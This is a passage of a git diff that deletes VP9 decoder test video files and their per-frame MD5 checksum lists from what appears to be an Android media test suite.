-68cabdcf5d934e279f1c45207e983d43  vp90-2-12-droppable_2.ivf-352x288-0074.i420
-ac5d93877691c05bb581a10bfcd058e5  vp90-2-12-droppable_2.ivf-352x288-0075.i420
-c4e09feb0a88d765c7681c7d427eda87  vp90-2-12-droppable_2.ivf-352x288-0076.i420
-690734960471ab41d5cdf052be87bd30  vp90-2-12-droppable_2.ivf-352x288-0077.i420
-4abaaa7e31a3a6e30b242e42587363d5  vp90-2-12-droppable_2.ivf-352x288-0078.i420
-b9c46f294e7a23b608004ff8aa2b9ea3  vp90-2-12-droppable_2.ivf-352x288-0079.i420
-b6a6a0e45c30de0f03880f753b6e75de  vp90-2-12-droppable_2.ivf-352x288-0080.i420
-c8725906463cb71ed8a64ba8af6a79be  vp90-2-12-droppable_2.ivf-352x288-0081.i420
-d0e28c090e859834a33bc0867a0f7ed7  vp90-2-12-droppable_2.ivf-352x288-0082.i420
-1ad8bf201d9898d562631226a2ef85fa  vp90-2-12-droppable_2.ivf-352x288-0083.i420
-962fe544b1a76bafe8a1b77cd64679ba  vp90-2-12-droppable_2.ivf-352x288-0084.i420
-89f9a77223961cc5ad49a11913ff9774  vp90-2-12-droppable_2.ivf-352x288-0085.i420
-483782bf6d14bbb19c749d58b8535e3e  vp90-2-12-droppable_2.ivf-352x288-0086.i420
-dfbe1b7ecc880ce5da758728f7375d63  vp90-2-12-droppable_2.ivf-352x288-0087.i420
-11a51b22418cc8dad57a20b37dd10630  vp90-2-12-droppable_2.ivf-352x288-0088.i420
-50b90506f9666ccb7dd94b6d59096489  vp90-2-12-droppable_2.ivf-352x288-0089.i420
-101294ecaff7edf5155ddc6cf3595021  vp90-2-12-droppable_2.ivf-352x288-0090.i420
-177e8f9d8aaf40b17d0b677133fc7955  vp90-2-12-droppable_2.ivf-352x288-0091.i420
-c029f78e758a27b8fc4214abf5ddad07  vp90-2-12-droppable_2.ivf-352x288-0092.i420
-45b6df0756e3f98218f4e9f0f33b1f13  vp90-2-12-droppable_2.ivf-352x288-0093.i420
-82d1fd8cc9fa0a072a0fc6177e7f8805  vp90-2-12-droppable_2.ivf-352x288-0094.i420
-bf6c3e8df105fdb82a614f8e8f6d68af  vp90-2-12-droppable_2.ivf-352x288-0095.i420
-2e66eccd31c0e1792f3019c0a7b43af6  vp90-2-12-droppable_2.ivf-352x288-0096.i420
-d7eab4f351bd3c03e873b93afc9b7803  vp90-2-12-droppable_2.ivf-352x288-0097.i420
-f7bc200d54ec154779521311c54a22d1  vp90-2-12-droppable_2.ivf-352x288-0098.i420
-8e2624d762102b6dbe13b7cf20ee1708  vp90-2-12-droppable_2.ivf-352x288-0099.i420
diff --git a/tests/tests/media/res/raw/vp90_2_12_droppable_3.vp9 b/tests/tests/media/res/raw/vp90_2_12_droppable_3.vp9
deleted file mode 100644
index 1f26178..0000000
--- a/tests/tests/media/res/raw/vp90_2_12_droppable_3.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_12_droppable_3_vp9_md5 b/tests/tests/media/res/raw/vp90_2_12_droppable_3_vp9_md5
deleted file mode 100644
index 9fdb07c..0000000
--- a/tests/tests/media/res/raw/vp90_2_12_droppable_3_vp9_md5
+++ /dev/null
@@ -1,31 +0,0 @@
-7ab6428314a7bce2ebae83b78acf9d1c  vp90-2-12-droppable_3.ivf-640x480-0001.i420
-373cfc7765ea8038e64d95ff90b6d9e8  vp90-2-12-droppable_3.ivf-640x480-0002.i420
-58d782daf8249542df4a4f0e66994b86  vp90-2-12-droppable_3.ivf-640x480-0003.i420
-38b13b37c460f67dbbda8847a37e5a58  vp90-2-12-droppable_3.ivf-640x480-0004.i420
-902d00e196093fcebad74ef608d7c3ff  vp90-2-12-droppable_3.ivf-640x480-0005.i420
-f3549650a4581de21916b189576b6a52  vp90-2-12-droppable_3.ivf-640x480-0006.i420
-a44d4bf06a241f31d1755ff6a118060a  vp90-2-12-droppable_3.ivf-640x480-0007.i420
-8eeef076eec9eec2861f3376ebf87d0a  vp90-2-12-droppable_3.ivf-640x480-0008.i420
-9a81bf95fc7210526b79c47ff80ae968  vp90-2-12-droppable_3.ivf-640x480-0009.i420
-bf215dfd9b764292de4d064389015e55  vp90-2-12-droppable_3.ivf-640x480-0010.i420
-283b1efdedde5633606d8a5d68097768  vp90-2-12-droppable_3.ivf-640x480-0011.i420
-dbb74ee6ec5f32b9ecb58b73d465be26  vp90-2-12-droppable_3.ivf-640x480-0012.i420
-ca1e21e458f674036addf08a79f6164e  vp90-2-12-droppable_3.ivf-640x480-0013.i420
-24c3b279ecb0559ac146abed5976c54a  vp90-2-12-droppable_3.ivf-640x480-0014.i420
-5f6796e3fa0e85d65b46ba66932ee09c  vp90-2-12-droppable_3.ivf-640x480-0015.i420
-7b22b5642e42e79fcc339ca6652f8f39  vp90-2-12-droppable_3.ivf-640x480-0016.i420
-7478595483ce62a5906f979ad296b6c5  vp90-2-12-droppable_3.ivf-640x480-0017.i420
-55d843f54af65305f7e298013e90a839  vp90-2-12-droppable_3.ivf-640x480-0018.i420
-6ab0a82b5f0736d951b58f2245adb793  vp90-2-12-droppable_3.ivf-640x480-0019.i420
-1a9f6adde0d6ecd7bc83301ffeb15e51  vp90-2-12-droppable_3.ivf-640x480-0020.i420
-07552d44c99801657a3301d50c6d3897  vp90-2-12-droppable_3.ivf-640x480-0021.i420
-e9cdeec3accd4d19aa199a64e6cd163d  vp90-2-12-droppable_3.ivf-640x480-0022.i420
-5dedc5eeb214bc4356bfa53e1c00d723  vp90-2-12-droppable_3.ivf-640x480-0023.i420
-dfd4bf2f664b46c36de24edf799c5c2a  vp90-2-12-droppable_3.ivf-640x480-0024.i420
-deb33fefe4f20f09b6e84a037a7c2755  vp90-2-12-droppable_3.ivf-640x480-0025.i420
-e7425d6d380be060a89a2ca85660042f  vp90-2-12-droppable_3.ivf-640x480-0026.i420
-74e3b4f750566b09c2fd0baafa5d69d1  vp90-2-12-droppable_3.ivf-640x480-0027.i420
-dd9f990aa7d858290a970be4681b7a1f  vp90-2-12-droppable_3.ivf-640x480-0028.i420
-f7e8c6e20722b6a69e7f6766f41f2805  vp90-2-12-droppable_3.ivf-640x480-0029.i420
-835fca0a38539ef2632f85a051544326  vp90-2-12-droppable_3.ivf-640x480-0030.i420
-9c10a225363aa167ccef6e53b19ee64f  vp90-2-12-droppable_3.ivf-640x480-0031.i420
diff --git a/tests/tests/media/res/raw/vp90_2_15_segkey.vp9 b/tests/tests/media/res/raw/vp90_2_15_segkey.vp9
deleted file mode 100644
index b67d891..0000000
--- a/tests/tests/media/res/raw/vp90_2_15_segkey.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_15_segkey_adpq_vp9_md5 b/tests/tests/media/res/raw/vp90_2_15_segkey_adpq_vp9_md5
deleted file mode 100644
index e3ee4d7..0000000
--- a/tests/tests/media/res/raw/vp90_2_15_segkey_adpq_vp9_md5
+++ /dev/null
@@ -1,150 +0,0 @@
-d4f0e4b606ddb40b482aecb24cf3bc63  vp90-2-15-segkey_adpq.webm-1280x720-0001.i420
-692ec092bc5928fa6430d056e883759a  vp90-2-15-segkey_adpq.webm-1280x720-0002.i420
-dad790df33430899fed98886a24b37e5  vp90-2-15-segkey_adpq.webm-1280x720-0003.i420
-7e66e793ac9462a40dd5b963fb62e667  vp90-2-15-segkey_adpq.webm-1280x720-0004.i420
-0d795c6e20f42f09aca0ddb9dffaa6e8  vp90-2-15-segkey_adpq.webm-1280x720-0005.i420
-0ef3739c4ab2c51f0ab8e290eadad77e  vp90-2-15-segkey_adpq.webm-1280x720-0006.i420
-04a15f765960263c1b4a5a8822e17322  vp90-2-15-segkey_adpq.webm-1280x720-0007.i420
-116d518830c958bf46759fd79bc74198  vp90-2-15-segkey_adpq.webm-1280x720-0008.i420
-58ea67addab05825cc2e5f2ab99fca4b  vp90-2-15-segkey_adpq.webm-1280x720-0009.i420
-590f6e5deea6dde21dc1098fa2017c2f  vp90-2-15-segkey_adpq.webm-1280x720-0010.i420
-895479957b0882ccce4159782dee8deb  vp90-2-15-segkey_adpq.webm-1280x720-0011.i420
-cc8e05afdfb6f9c7042fd6f9e9d49140  vp90-2-15-segkey_adpq.webm-1280x720-0012.i420
-3e47c556a63af90f1ca4609f97f25d2c  vp90-2-15-segkey_adpq.webm-1280x720-0013.i420
-e5ca5dce8cbd39412db2fe219d6d2594  vp90-2-15-segkey_adpq.webm-1280x720-0014.i420
-c62b456e12230660d26eb7226f257d0c  vp90-2-15-segkey_adpq.webm-1280x720-0015.i420
-e184c961b373de465d3242f32f7cf3ed  vp90-2-15-segkey_adpq.webm-1280x720-0016.i420
-7466b91858f740fc28965a63effe05d6  vp90-2-15-segkey_adpq.webm-1280x720-0017.i420
-c8f06a3b1e471c4e7a9efd71a30dfe3b  vp90-2-15-segkey_adpq.webm-1280x720-0018.i420
-d4fb95148963b2eaff0211ddc5117c13  vp90-2-15-segkey_adpq.webm-1280x720-0019.i420
-c646526b40277289520d47ed8ca3b644  vp90-2-15-segkey_adpq.webm-1280x720-0020.i420
-e441ae686fa444e4e3584543611043ba  vp90-2-15-segkey_adpq.webm-1280x720-0021.i420
-68d707ef6909bfbc02dcbd9e392a04f6  vp90-2-15-segkey_adpq.webm-1280x720-0022.i420
-1ff285d17a26622b61bd2651754602b1  vp90-2-15-segkey_adpq.webm-1280x720-0023.i420
-c272192987e44e54e5335e6416bd15a5  vp90-2-15-segkey_adpq.webm-1280x720-0024.i420
-8f6f02572181eb4855dcd4c957e57d2e  vp90-2-15-segkey_adpq.webm-1280x720-0025.i420
-baf03eb567fd092eeb6f08ff5e098350  vp90-2-15-segkey_adpq.webm-1280x720-0026.i420
-479c78bd3da0892b8d4e32c99ec4739f  vp90-2-15-segkey_adpq.webm-1280x720-0027.i420
-d39a52f6e30ef10462bdef1006809e88  vp90-2-15-segkey_adpq.webm-1280x720-0028.i420
-d58395369806221efe9ba88513319d8a  vp90-2-15-segkey_adpq.webm-1280x720-0029.i420
-459e77e83c510ee1d79bf069752d44e5  vp90-2-15-segkey_adpq.webm-1280x720-0030.i420
-438027c8eacb9c795f8267a151ef5a4e  vp90-2-15-segkey_adpq.webm-1280x720-0031.i420
-ea6b73fb0d4b23ebbdaeb0267135d083  vp90-2-15-segkey_adpq.webm-1280x720-0032.i420
-48160c624d4d5050a4c8abcbe0edf4b2  vp90-2-15-segkey_adpq.webm-1280x720-0033.i420
-6fc6d5b4751cf137fc0204c0026f2503  vp90-2-15-segkey_adpq.webm-1280x720-0034.i420
-5ea20f6483fc5cde854313ed8288c7ca  vp90-2-15-segkey_adpq.webm-1280x720-0035.i420
-dafa41fa3468f684ca5538593cd1a0de  vp90-2-15-segkey_adpq.webm-1280x720-0036.i420
-b73d3336c83a27874e24b691c34c3421  vp90-2-15-segkey_adpq.webm-1280x720-0037.i420
-d0b0488a5871a49442746ac8ea1343bc  vp90-2-15-segkey_adpq.webm-1280x720-0038.i420
-df6fe9cb354624b69908730f24f51b88  vp90-2-15-segkey_adpq.webm-1280x720-0039.i420
-a388b159a024ace9437976206e62473c  vp90-2-15-segkey_adpq.webm-1280x720-0040.i420
-9007423410201a70b6997477ed9040f6  vp90-2-15-segkey_adpq.webm-1280x720-0041.i420
-7f7425cc018ad391e06b867f51d69513  vp90-2-15-segkey_adpq.webm-1280x720-0042.i420
-2ef51a3a15c627f803eee7f351cdfa4e  vp90-2-15-segkey_adpq.webm-1280x720-0043.i420
-260cded2461ab87181d650c58a8a0656  vp90-2-15-segkey_adpq.webm-1280x720-0044.i420
-fdd7a93b5f25ec2b74d93736fa7bb475  vp90-2-15-segkey_adpq.webm-1280x720-0045.i420
-810bb95ef0221b50ef12c7d0a4740fec  vp90-2-15-segkey_adpq.webm-1280x720-0046.i420
-f7eb4d63c16aebfeba4804c4e9c2c134  vp90-2-15-segkey_adpq.webm-1280x720-0047.i420
-a1ae94b85bced552e2c4f15ab5c5096d  vp90-2-15-segkey_adpq.webm-1280x720-0048.i420
-4b7b9e460b4a4ceab5deb5c6876cea05  vp90-2-15-segkey_adpq.webm-1280x720-0049.i420
-514472399dc39fcc4e833e166b81ea8e  vp90-2-15-segkey_adpq.webm-1280x720-0050.i420
-dca73ca76936d0a7eeb71c20955ea3a3  vp90-2-15-segkey_adpq.webm-1280x720-0051.i420
-927b185567b515a6bd102e1199ee1836  vp90-2-15-segkey_adpq.webm-1280x720-0052.i420
-63e1fffd59b77c53811d75a116fbac60  vp90-2-15-segkey_adpq.webm-1280x720-0053.i420
-5ca302497e81d564cfd455e2b606b262  vp90-2-15-segkey_adpq.webm-1280x720-0054.i420
-6e317d469ee664bc511a8286650f0b79  vp90-2-15-segkey_adpq.webm-1280x720-0055.i420
-d93e1909f3bdda983e0b3c73a8c51754  vp90-2-15-segkey_adpq.webm-1280x720-0056.i420
-836072cb1c4dc3dc32c935ba4ac3f716  vp90-2-15-segkey_adpq.webm-1280x720-0057.i420
-014e61666ba819260a25f09ae97768a8  vp90-2-15-segkey_adpq.webm-1280x720-0058.i420
-997fa6283e48ff017ce04041b9022fb9  vp90-2-15-segkey_adpq.webm-1280x720-0059.i420
-b2c35749c6b848601193c2eff7f0bdf1  vp90-2-15-segkey_adpq.webm-1280x720-0060.i420
-813e9f562ef53589afbfe7d73002c136  vp90-2-15-segkey_adpq.webm-1280x720-0061.i420
-be876a05cfc72fe6138e1c24b6e94c3f  vp90-2-15-segkey_adpq.webm-1280x720-0062.i420
-2a33b99f67fe5579ddbd62bac085ae8a  vp90-2-15-segkey_adpq.webm-1280x720-0063.i420
-8d374a1886861cfd9ca6f16a0aff1b6c  vp90-2-15-segkey_adpq.webm-1280x720-0064.i420
-eff4e17b08c67a1663c8f1cc614bd94a  vp90-2-15-segkey_adpq.webm-1280x720-0065.i420
-39e4d97460cf02ecfbc666e0413d7db1  vp90-2-15-segkey_adpq.webm-1280x720-0066.i420
-732f41606146dfb0c6a8cf130df969a8  vp90-2-15-segkey_adpq.webm-1280x720-0067.i420
-9b724b808bc26f21aaa32653185b2cf3  vp90-2-15-segkey_adpq.webm-1280x720-0068.i420
-e18598cb7ac70cdb5dea29b35ae5accb  vp90-2-15-segkey_adpq.webm-1280x720-0069.i420
-afbcad9f7bad0b58a5bccdb8977a60fb  vp90-2-15-segkey_adpq.webm-1280x720-0070.i420
-6ec24c40cd8a0cf2e15339ce4f60c232  vp90-2-15-segkey_adpq.webm-1280x720-0071.i420
-76616dbe8207235f6890360566f9e8df  vp90-2-15-segkey_adpq.webm-1280x720-0072.i420
-49a5c751ed430e9bc41c3a3334295025  vp90-2-15-segkey_adpq.webm-1280x720-0073.i420
-f657e47dbbcc2a04e9e7b71ecd8451ff  vp90-2-15-segkey_adpq.webm-1280x720-0074.i420
-8e85f3d26b26f26ccd804061d2f37bbb  vp90-2-15-segkey_adpq.webm-1280x720-0075.i420
-5a9dd5c0390491cd21163da01dc21f4d  vp90-2-15-segkey_adpq.webm-1280x720-0076.i420
-3cf88ad2d2d7ecf1223afa5d1b849317  vp90-2-15-segkey_adpq.webm-1280x720-0077.i420
-27385b23461b5f1c137c2f29354595ed  vp90-2-15-segkey_adpq.webm-1280x720-0078.i420
-e6eacbe2890389c586f2936a75ab3509  vp90-2-15-segkey_adpq.webm-1280x720-0079.i420
-19a48ffafdcdb6fb1d6b9808daed2f86  vp90-2-15-segkey_adpq.webm-1280x720-0080.i420
-f8c9419d4944fb214e06a2c30a560d93  vp90-2-15-segkey_adpq.webm-1280x720-0081.i420
-3f3d3dd54e5aa6bd59af1be86ec9be3d  vp90-2-15-segkey_adpq.webm-1280x720-0082.i420
-28be5316ed79dc47b6a142cef0c16ab7  vp90-2-15-segkey_adpq.webm-1280x720-0083.i420
-6fbed684bfe8dfd354210293d7eb4d0b  vp90-2-15-segkey_adpq.webm-1280x720-0084.i420
-e60cd76f68c95f8b484d0b6424eea4cc  vp90-2-15-segkey_adpq.webm-1280x720-0085.i420
-e05a0cf382f49039faddaffeff2cec16  vp90-2-15-segkey_adpq.webm-1280x720-0086.i420
-42ea736ebbfe50f1ebd460d71781e5d6  vp90-2-15-segkey_adpq.webm-1280x720-0087.i420
-80f78066700b6752bbc1a41390ddb482  vp90-2-15-segkey_adpq.webm-1280x720-0088.i420
-14671354929fcf10677b2ed2db3c8cb4  vp90-2-15-segkey_adpq.webm-1280x720-0089.i420
-96a7d68407f1a2c96bd3cafe0c696bf5  vp90-2-15-segkey_adpq.webm-1280x720-0090.i420
-2f2adb990cfa42229db987a668b19d38  vp90-2-15-segkey_adpq.webm-1280x720-0091.i420
-a8233951004e1bb0d0937435a517fad2  vp90-2-15-segkey_adpq.webm-1280x720-0092.i420
-6163e872c38adfde7b0c8891cbb2c969  vp90-2-15-segkey_adpq.webm-1280x720-0093.i420
-990165e0905fb80ccc29d2de062d4f9b  vp90-2-15-segkey_adpq.webm-1280x720-0094.i420
-e6f3224c4c60098ee93fca870f8636b2  vp90-2-15-segkey_adpq.webm-1280x720-0095.i420
-8c561667345f932618f8b3aaa43ffde0  vp90-2-15-segkey_adpq.webm-1280x720-0096.i420
-1acb3999bacd483d1153beb43ee09772  vp90-2-15-segkey_adpq.webm-1280x720-0097.i420
-2a075c7bc49190df83b8285ee6e124d3  vp90-2-15-segkey_adpq.webm-1280x720-0098.i420
-890a134a3c77d9b64d83fe6d2def02de  vp90-2-15-segkey_adpq.webm-1280x720-0099.i420
-d0b41422b89f03ffcbde7c85889ad2c2  vp90-2-15-segkey_adpq.webm-1280x720-0100.i420
-fdc4f855d70ef16ec9baeb05c3a73f44  vp90-2-15-segkey_adpq.webm-1280x720-0101.i420
-ed9f847a3b4280cfe306018825c76508  vp90-2-15-segkey_adpq.webm-1280x720-0102.i420
-5deb2536bba158c722bc0d909f45e611  vp90-2-15-segkey_adpq.webm-1280x720-0103.i420
-fc7880ca8680e03fb1978adce8066027  vp90-2-15-segkey_adpq.webm-1280x720-0104.i420
-6e1c351c6b102e9185f688a02190b87f  vp90-2-15-segkey_adpq.webm-1280x720-0105.i420
-1f6169bf490ed1b4c391383f770fec02  vp90-2-15-segkey_adpq.webm-1280x720-0106.i420
-80ac3b673b1504fb1e88d883a91a539c  vp90-2-15-segkey_adpq.webm-1280x720-0107.i420
-d2e7654f961ff3767c1e9e8558c2f20d  vp90-2-15-segkey_adpq.webm-1280x720-0108.i420
-365368d813eb10c5adc53e47afeb414d  vp90-2-15-segkey_adpq.webm-1280x720-0109.i420
-5f74f55478377dd31da91cf195332480  vp90-2-15-segkey_adpq.webm-1280x720-0110.i420
-827b7b3853ea3b1855583b59ed7b09c2  vp90-2-15-segkey_adpq.webm-1280x720-0111.i420
-2017c1a57a271308172bd84d3887d063  vp90-2-15-segkey_adpq.webm-1280x720-0112.i420
-d65b95c71db9972dc051bec7df19f85f  vp90-2-15-segkey_adpq.webm-1280x720-0113.i420
-7243da9072729ffa75209a6699e77ac3  vp90-2-15-segkey_adpq.webm-1280x720-0114.i420
-112da8d27907ab6a66b030e9c8864e46  vp90-2-15-segkey_adpq.webm-1280x720-0115.i420
-e2837b6409de4bc6e71ff9eca8eab391  vp90-2-15-segkey_adpq.webm-1280x720-0116.i420
-567eba2ddb91a02665ac96fa10703f00  vp90-2-15-segkey_adpq.webm-1280x720-0117.i420
-474a99d56fce0e7e96ac3585b905956f  vp90-2-15-segkey_adpq.webm-1280x720-0118.i420
-3087edb09f1ef2e63130b7c03e696028  vp90-2-15-segkey_adpq.webm-1280x720-0119.i420
-574f7328da31760ecf237617aebd7784  vp90-2-15-segkey_adpq.webm-1280x720-0120.i420
-c3a7669bb496bec766a74a800275ff6c  vp90-2-15-segkey_adpq.webm-1280x720-0121.i420
-c0d87245a92e7140e6b729c26fe97a95  vp90-2-15-segkey_adpq.webm-1280x720-0122.i420
-467e33e84435fe64cb14653600ec5163  vp90-2-15-segkey_adpq.webm-1280x720-0123.i420
-1c7a5b2472c00e9dc63f679b51ead6a9  vp90-2-15-segkey_adpq.webm-1280x720-0124.i420
-8fb7197463cdae6c45437a73dcb4a3d8  vp90-2-15-segkey_adpq.webm-1280x720-0125.i420
-f352fee36f51536175b05b5ff5a3187a  vp90-2-15-segkey_adpq.webm-1280x720-0126.i420
-ac1ed4392a38268a2495508245032d74  vp90-2-15-segkey_adpq.webm-1280x720-0127.i420
-b8179a306c4fbc6f207d15acaae92dfb  vp90-2-15-segkey_adpq.webm-1280x720-0128.i420
-7f263b0fd68652d83b75d24cc11c89e8  vp90-2-15-segkey_adpq.webm-1280x720-0129.i420
-39e33d02a01247cefe19d8bf9fbdecae  vp90-2-15-segkey_adpq.webm-1280x720-0130.i420
-49a4e89c9fcc66f7e6e679aee4af0852  vp90-2-15-segkey_adpq.webm-1280x720-0131.i420
-0af52a32e6d74694a0a1f12aa78293fe  vp90-2-15-segkey_adpq.webm-1280x720-0132.i420
-fedde75a5c093ea12f0ed328da7350c9  vp90-2-15-segkey_adpq.webm-1280x720-0133.i420
-2ab788cf689fdbe8fbc74dde165605ad  vp90-2-15-segkey_adpq.webm-1280x720-0134.i420
-682c2316cbd2e8a5e54edd1e9309a6c7  vp90-2-15-segkey_adpq.webm-1280x720-0135.i420
-f155e8fa47625f18dffea813a7070c71  vp90-2-15-segkey_adpq.webm-1280x720-0136.i420
-2611eb2b2da8f6995ac2159012ec540a  vp90-2-15-segkey_adpq.webm-1280x720-0137.i420
-a1130a4ddf7dbd592e23001c4b98b3fc  vp90-2-15-segkey_adpq.webm-1280x720-0138.i420
-84eef6f47bff223c6a0916c0688d2f7c  vp90-2-15-segkey_adpq.webm-1280x720-0139.i420
-ccfab0b84c7fc59d850ac5cb8d36da41  vp90-2-15-segkey_adpq.webm-1280x720-0140.i420
-6866845dfb320ecd9c22444ca7e52c8b  vp90-2-15-segkey_adpq.webm-1280x720-0141.i420
-3068ceb83ee4d047df3880c64754efd7  vp90-2-15-segkey_adpq.webm-1280x720-0142.i420
-7f9a74e20cfe10972961e7f21529f7f4  vp90-2-15-segkey_adpq.webm-1280x720-0143.i420
-29156833963ec7f218d38fca7df132bf  vp90-2-15-segkey_adpq.webm-1280x720-0144.i420
-f8feb4c2ae1ce371fc8b4a83d7dc34e0  vp90-2-15-segkey_adpq.webm-1280x720-0145.i420
-0e5fe8965da239c17b02f0c902feeaec  vp90-2-15-segkey_adpq.webm-1280x720-0146.i420
-e8d37eb1b8c2576658ebc58a7cc6c0d4  vp90-2-15-segkey_adpq.webm-1280x720-0147.i420
-0a89fd2784112bbd54eb559a8272ab1e  vp90-2-15-segkey_adpq.webm-1280x720-0148.i420
-342bc99cdd618272d12d045698b9cb20  vp90-2-15-segkey_adpq.webm-1280x720-0149.i420
-a489a32bb43559b8a1989b13660e3cf6  vp90-2-15-segkey_adpq.webm-1280x720-0150.i420
diff --git a/tests/tests/media/res/raw/vp90_2_15_segkey_vp9_md5 b/tests/tests/media/res/raw/vp90_2_15_segkey_vp9_md5
deleted file mode 100644
index 809e25e..0000000
--- a/tests/tests/media/res/raw/vp90_2_15_segkey_vp9_md5
+++ /dev/null
@@ -1 +0,0 @@
-d3805a0d832b9bdd69ad99d68490be7b  vp90-2-15-segkey.webm-1280x720-0001.i420
diff --git a/tests/tests/media/res/raw/vp90_2_16_intra_only.vp9 b/tests/tests/media/res/raw/vp90_2_16_intra_only.vp9
deleted file mode 100644
index a88750f..0000000
--- a/tests/tests/media/res/raw/vp90_2_16_intra_only.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_16_intra_only_vp9_md5 b/tests/tests/media/res/raw/vp90_2_16_intra_only_vp9_md5
deleted file mode 100644
index 112a52a..0000000
--- a/tests/tests/media/res/raw/vp90_2_16_intra_only_vp9_md5
+++ /dev/null
@@ -1,7 +0,0 @@
-d57529601178948afa4818c3c8938884  vp90-2-16-intra-only-352x288-0001.i420
-d47e00250c45733d64af067a417bcd06  vp90-2-16-intra-only-352x288-0002.i420
-984e41cd8350808ac6129746b2377818  vp90-2-16-intra-only-352x288-0003.i420
-a5fa62996b4bb52e72e335722cf55bef  vp90-2-16-intra-only-352x288-0004.i420
-b71ca5ad650170ac921a71a6440fb508  vp90-2-16-intra-only-352x288-0005.i420
-76ba63001170b8992fc72be5c4ace731  vp90-2-16-intra-only-352x288-0006.i420
-c4e7f96a8fd58d901b1d881926ddae09  vp90-2-16-intra-only-352x288-0007.i420
diff --git a/tests/tests/media/res/raw/vp90_2_17_show_existing_frame.vp9 b/tests/tests/media/res/raw/vp90_2_17_show_existing_frame.vp9
deleted file mode 100644
index 4748eeb..0000000
--- a/tests/tests/media/res/raw/vp90_2_17_show_existing_frame.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_17_show_existing_frame_vp9_md5 b/tests/tests/media/res/raw/vp90_2_17_show_existing_frame_vp9_md5
deleted file mode 100644
index 50394da..0000000
--- a/tests/tests/media/res/raw/vp90_2_17_show_existing_frame_vp9_md5
+++ /dev/null
@@ -1,30 +0,0 @@
-b71ca5ad650170ac921a71a6440fb508  vp90-2-17-show-existing-frame.webm-352x288-0001.i420
-edc30ba14b73198ca827c1b216957dec  vp90-2-17-show-existing-frame.webm-352x288-0002.i420
-1902c5b3a82f6bdeb80a5b053909df04  vp90-2-17-show-existing-frame.webm-352x288-0003.i420
-9a96e33ed546d7961c6e5bc48244a5c7  vp90-2-17-show-existing-frame.webm-352x288-0004.i420
-b02a48630b0f3c08c61dd2518b55ea39  vp90-2-17-show-existing-frame.webm-352x288-0005.i420
-8ac9cec1101a46bf4ba20191b7ba3f07  vp90-2-17-show-existing-frame.webm-352x288-0006.i420
-88ea8c3cb9eca47152b5d22435a06675  vp90-2-17-show-existing-frame.webm-352x288-0007.i420
-bff3406209ec0d592a891dff2b58d6cd  vp90-2-17-show-existing-frame.webm-352x288-0008.i420
-b71ca5ad650170ac921a71a6440fb508  vp90-2-17-show-existing-frame.webm-352x288-0009.i420
-edc30ba14b73198ca827c1b216957dec  vp90-2-17-show-existing-frame.webm-352x288-0010.i420
-1902c5b3a82f6bdeb80a5b053909df04  vp90-2-17-show-existing-frame.webm-352x288-0011.i420
-9a96e33ed546d7961c6e5bc48244a5c7  vp90-2-17-show-existing-frame.webm-352x288-0012.i420
-b02a48630b0f3c08c61dd2518b55ea39  vp90-2-17-show-existing-frame.webm-352x288-0013.i420
-8ac9cec1101a46bf4ba20191b7ba3f07  vp90-2-17-show-existing-frame.webm-352x288-0014.i420
-88ea8c3cb9eca47152b5d22435a06675  vp90-2-17-show-existing-frame.webm-352x288-0015.i420
-bff3406209ec0d592a891dff2b58d6cd  vp90-2-17-show-existing-frame.webm-352x288-0016.i420
-b71ca5ad650170ac921a71a6440fb508  vp90-2-17-show-existing-frame.webm-352x288-0017.i420
-edc30ba14b73198ca827c1b216957dec  vp90-2-17-show-existing-frame.webm-352x288-0018.i420
-1902c5b3a82f6bdeb80a5b053909df04  vp90-2-17-show-existing-frame.webm-352x288-0019.i420
-9a96e33ed546d7961c6e5bc48244a5c7  vp90-2-17-show-existing-frame.webm-352x288-0020.i420
-b02a48630b0f3c08c61dd2518b55ea39  vp90-2-17-show-existing-frame.webm-352x288-0021.i420
-8ac9cec1101a46bf4ba20191b7ba3f07  vp90-2-17-show-existing-frame.webm-352x288-0022.i420
-88ea8c3cb9eca47152b5d22435a06675  vp90-2-17-show-existing-frame.webm-352x288-0023.i420
-bff3406209ec0d592a891dff2b58d6cd  vp90-2-17-show-existing-frame.webm-352x288-0024.i420
-a36428fd889ddf9983638c581c1d9146  vp90-2-17-show-existing-frame.webm-352x288-0025.i420
-689bd5fba1b7dff9abb1332e56f224fa  vp90-2-17-show-existing-frame.webm-352x288-0026.i420
-e883aa425fa13c6d4eda2707d114d61d  vp90-2-17-show-existing-frame.webm-352x288-0027.i420
-94d0bce08beb8a19c4ae12194a646935  vp90-2-17-show-existing-frame.webm-352x288-0028.i420
-cd317e97f5fd4be166308911c874f4e1  vp90-2-17-show-existing-frame.webm-352x288-0029.i420
-2fa245acd72d377cbb79c08faa02b330  vp90-2-17-show-existing-frame.webm-352x288-0030.i420
diff --git a/tests/tests/media/res/raw/vp90_2_19_skip.vp9 b/tests/tests/media/res/raw/vp90_2_19_skip.vp9
deleted file mode 100644
index 51c1173..0000000
--- a/tests/tests/media/res/raw/vp90_2_19_skip.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_19_skip_01.vp9 b/tests/tests/media/res/raw/vp90_2_19_skip_01.vp9
deleted file mode 100644
index b108df8..0000000
--- a/tests/tests/media/res/raw/vp90_2_19_skip_01.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_19_skip_01_vp9_md5 b/tests/tests/media/res/raw/vp90_2_19_skip_01_vp9_md5
deleted file mode 100644
index 98fdce2..0000000
--- a/tests/tests/media/res/raw/vp90_2_19_skip_01_vp9_md5
+++ /dev/null
@@ -1,60 +0,0 @@
-6e350ec33af4ce08c18e884d7fd795aa  01.yuv
-abfb6e52a5a9d896b65e2c54e1f35f20  02.yuv
-e40e57536810c196f277f2d86fd7ef4d  03.yuv
-0b25dbe7b8218fcc67e700d332ef7ad7  04.yuv
-20f7737828b9a686a02a1b01cebb637f  05.yuv
-06d41fe61fbd8d96750882baac56954f  06.yuv
-9e6661eb3424978e105dfa393407c293  07.yuv
-2d9dd8d9625dc67cb342b9db51a9bf85  08.yuv
-d8d8671e8e921484acd0fd67c7046382  09.yuv
-f6513fee6d2de65d51239a689f45f1d6  10.yuv
-5a8c26cbe9cefc79481a1e24c36d1b07  11.yuv
-918c1080ca4f2d61049caaa963d58069  12.yuv
-9d028868e407a2a596ede1c7ec71997c  13.yuv
